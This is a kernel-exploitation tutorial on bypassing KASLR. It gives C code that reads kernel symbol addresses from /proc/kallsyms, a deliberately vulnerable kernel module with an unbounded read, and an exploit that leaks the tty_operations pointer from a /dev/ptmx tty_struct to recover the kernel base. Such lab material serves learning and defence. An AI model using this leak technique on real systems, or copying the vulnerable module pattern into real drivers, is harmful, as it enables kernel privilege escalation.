Kernel Address Space Layout Randomization (KALSR)

KASLR acts as a kernel space mitigation to make control flow jacking attacks harder by randomizing the base address of the kernel on boot. By randomizing the base address, we can no longer hard code values to jump to in kernel memory. Just like userspace ASLR, we need some form of leak to know where to jump to next.

Leaking through /proc/kallsyms

Without KASLR you can see through /proc/kallsyms that kernel space addresses are the same across boots. For this example, users have access to /proc/kallsyms , which gives us function pointer leaks.

Since this randomization happens only once on boot, any function pointer leak while the kernel is booted can be used to determine the kernel base address! This means we can read our kernel symbols with cat /proc/kallsyms and we can use those in our exploit. Alternatively, I've written a function below to open /proc/kallsyms and extract out the commitcreds and preparekernel_cred functions

/*
 * Our kernel addresses for commit_creds and prepare_kernel_cred
 * are available in /proc/kallsyms. We can read them here and
 * store them globally to reference later
 */
void get_kernel_addresses() {
  FILE *fp;
  char *line = NULL;
  size_t len = 0;
  ssize_t read;

  fp = fopen("/proc/kallsyms", "r");
  if (fp == NULL)
    exit_and_log("failed to open kallsyms\n");

  while ((read = getline(&line, &len, fp)) != -1) {
    if (strstr(line, "prepare_kernel_cred") != NULL) {
      prepare_kernel_cred = strtoul(line, NULL, 16);
    }
    if (strstr(line, "commit_creds") != NULL) {
      commit_creds = strtoul(line, NULL, 16);
    }
  }

  fclose(fp);
  if (line)
    free(line);

  printf("prepare_kernel_cred\t: 0x%lX\n", prepare_kernel_cred);
  printf("commit_creds\t\t: 0x%lX\n", commit_creds);
}

Leaking kernel base through /dev/ptmx

We don't always have access to /proc/kallsyms . Often we need to leak out a useful address to determine the kernel base address. A very popular address to leak is the tty_operations address through the tty_struct . We can leak this address when our problem/module will allocate an object around 0x2e8 in size and performs an overread. I've written an example kernel module that we'll use to leak the kernel base address below:

char *hackme_buf;

static int device_open(struct inode *inode, struct file *filp) {
  printk(KERN_ALERT "Device opened.");
  hackme_buf = kmalloc(0x400, 0);
  return 0;
}

static int device_release(struct inode *inode, struct file *filp) {
  printk(KERN_ALERT "Device closed.");
  kfree(hackme_buf);
  return 0;
}

static ssize_t device_read(struct file *filp, char *buf, size_t len,
                           loff_t *offset) {

  if (memcpy(buf, hackme_buf, len))
    return -14LL;

  return len;
}

The important thing to note with this module is that we allocate 0x400 bytes, but in the device_read function, we accept any number of bytes for a read. We can trigger a leak by calling read on the file descriptor, but without knowing what's next to it, we can't be certain that we're leaking anything useful.

That's where /dev/ptmx comes into play! This handy character device allocates a struct through kmalloc and places in the heap with a function pointer that we can leak right near the beginning of it. The struct looks a little something this:

struct tty_struct {
	int	magic; // <-- MAGIC value is 0x5401
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	/* ...... */
}

The magic value in the header makes it even more useful for leaking, since we can always determine if our leak was successful or not! For my code example, my plan of attack is to open the kernel-leak module, then open the /dev/ptmx so that we allocate our heap buffer first, then the ttystruct buffer. Then I'll perform the read on the kernel-leak buffer to overread past our buffer into the ttystruct buffer.

  void main() {

    int fd;
    unsigned long kernel_base;

    /*
     struct tty_struct {
     int magic;
     struct kref kref;
     struct device *dev;
     struct tty_driver *driver;
     const struct tty_operations *ops; <-- want to leak this
     ...
     */

    // This will allocate our kernel buffer
    fd = open(KERN_MODULE, O_RDWR);
    if (fd < 0)
      exit_and_log("Failed to open kernel module\n");

    // Opening this character device will allocate a
    // tty_struct on the heap for us. We can use a
    // heap overread to leak out
    int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    kernel_base = do_leak(fd);

    close(fd);
  }
unsigned long do_leak(int fd) {
  int bytes_read;
  unsigned long *buf = NULL;
  unsigned int leak_offset = 128;
  unsigned int tty_offset = 131;

  buf = malloc(BUF_SIZE);
  if (buf == NULL)
    exit_and_log("Failed to malloc\n");

  memset(buf, '\x00', BUF_SIZE);

  bytes_read = read(fd, buf, BUF_SIZE);

  for (int i = 0; i < (BUF_SIZE / WORD_SIZE); i++) {
    if (i == leak_offset) {
      if ((buf[i] & 0xffff) == TTY_MAGIC) {
        printf("buf + 0x%X\t: %lX <------- tty_struct magic\n", i * WORD_SIZE,
               buf[i]);
      } else {
        printf("buf + 0x%X\t: %lX <------- leak failed\n", i * WORD_SIZE,
               buf[i]);
        break;
      }
     }
    else if (i == tty_offset) {
        printf("buf + 0x%X\t: %lX <------- tty_operations\n", i * WORD_SIZE,
               buf[i]);
      }
    else {
        printf("buf + 0x%X\t: %lX\n", i * WORD_SIZE, buf[i]);
      }
    }

    free(buf);

    return 0;
  }

Why do we care about the tty_operations pointer? It points to ptm_unix98_ops which has a hardcoded offset from our kernel base! We can find our kernel base address by looking through /proc/kallsyms really quick and grepping for startup_64

Then we can take out tty_operations address and subtract it by our base address to get our offset!

0xFFFFFFFFA966B880 - 0xffffffffa8600000 gave me an offset of 0x106b880 which I can now apply to our tty_operations leak. Full exploit here

Last updated